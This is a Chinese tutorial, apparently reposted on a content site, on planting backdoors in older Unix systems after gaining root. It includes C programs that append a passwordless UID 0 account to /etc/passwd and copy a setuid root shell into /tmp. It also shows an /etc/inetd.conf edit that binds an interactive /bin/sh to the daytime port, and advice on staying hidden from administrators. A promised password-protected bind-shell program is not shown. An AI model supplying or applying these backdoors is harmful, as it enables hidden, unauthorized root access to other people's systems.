后门技巧
文章插图
[初级]
最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号 。但最好别这么做,因为只要系统管理员检查口令文件就会“漏馅”了 。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序 。
<++> backdoor/backdoor1.c
#include
main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/shn");
}
<-->
比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号的 UID 改为 0,并将其第二个域(口令域)设为空 。(注意,如果你使用的是较高版本的*nix,也许还要修改 /etc/shadow 文件 。)
在 /tmp 目录下放置 suid shell 。以后只要你运行这个程序,就会轻易得到根用户权限 。这种方法几乎是最受欢迎的了 。但有许多系统每几小时,或者每次启动都会清除 /tmp 目录下的数据,另外一些系统则根本不允许运行 /tmp 目录下的 suid 程序 。当然,你可以自己修改或清除这些限制(因为你已是根用户,有权限修改 /var/spool/cron/crontabs/root 和 /etc/fstab 文件) 。以下是在 /tmp 目录下放置 suid shell 程序的C源程序 。
<++> backdoor/backdoor2.c
#include
main()
{
system("cp /bin/sh /tmp/fid");
system("chown root.root /tmp/fid");
system("chmod 4755 /tmp/fid");
}
<-->
文章插图
【初级黑客技巧,老系统用的后门技巧】
[中级]
超级服务器守护进程(inetd)的配置文件 。系统管理员一般情况下不经常检查该文件,因此这倒是个放置“后门”的好地方 。:) 那么在这里如何建立一个最好的后门呢?当然是远程的了 。这样你就不必需要本地帐号就可以成为根用户了 。首先,让我们先来了解一下这方面的基础知识:inetd 进程负责监听各个TCP和UDP端口的连接请求,并根据连接请求启动相应的服务器进程 。该配置文件 /etc/inetd.conf 很简单,基本形式如下:
(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
mountd/1 stream rpc/tcp wait root /usr/etc/mountd mountd
1:第一栏是服务名称 。服务名通过查询 /etc/services 文件(供 TCP 和 UDP 服务使用)或 portmap 守护进程(供 RPC 服务使用)映射成端口号 。RPC(远程过程调用)服务由 name/num 的名字格式和第三栏中的 rpc 标志识别 。
2:第二栏决定服务使用的套接口类型:stream、dgram 或 raw 。一般说来,stream 用于 TCP 服务,dgram 用于 UDP, raw 的使用很少见 。
3:第三栏标识服务使用的通信协议 。允许的类型列在 protocols 文件中 。协议几乎总是是 tcp 或 udp 。RPC 服务在协议类型前冠以 rpc/ 。
4:如果所说明的服务一次可处理多个请求(而不是处理一个请求后就退出),那么第四栏应置成 wait,这样可以阻止 inetd 持续地派生该守护进程的新拷贝 。此选项用于处理大量的小请求的服务 。如果 wait 不合适,那么在本栏中填 nowait 。
5:第五栏给出运行守护进程的用户名 。
6:第六栏给出守护进程的全限定路径名 。
7:守护进程的真实名字及其参数 。
如果所要处理的工作微不足道(如不需要用户交互),inetd 守护进程便自己处理 。此时第六、七栏只需填上 'internal' 即可 。所以,要安装一个便利的后门,可以选择一个不常被使用的服务,用可以产生某种后门的守护进程代替原先的守护进程 。例如,让其添加 UID 0 的帐号,或复制一个 suid shell 。
一个比较好的方法之一,就是将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell 。只要将 /etc/inetd.conf 文件中的:
daytime stream tcp nowait root internal
修改为:
daytime stream tcp nowait /bin/sh sh -i.
然后重启(记住:一定要重启)inetd 进程:
killall -9 inetd 。
但更好、更隐蔽的方法是伪造网络服务,让它能够在更难以察觉的情况下为我们提供后门,例如口令保护等 。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问,那是再好不过了 。方法就是将“自己的”守护程序绑定到某个端口,该程序对外来连接不提供任何提示符,但只要直接输入了正确的口令,就能够顺利地进入系统 。以下是这种后门的一个示范程序 。(注:这个程序写得并不很完整 。)
推荐阅读
- 10个数据可视化技巧,让你一看就懂
- 操控网络还能操控电压,你见过这样的黑客吗?
- 黑客如何钓鱼?黑客带你了解高超的钓鱼平台
- 吐血整理社保报销的16个技巧,比别人多报几万块
- 养发财树,学会3个技巧,茎杆粗壮,四季常青
- 筷子发霉看起来很恶心?不要扔!记住这个小技巧让筷子光亮如新
- 吃完火锅,衣服上味道太重?一招解决更多小技巧等你解锁
- 超全化妆小技巧
- 狭窄过道内倒库式掉头,挪车走线打方向技巧
- 结婚戒指是男方买还是互相买,怎么选择大有技巧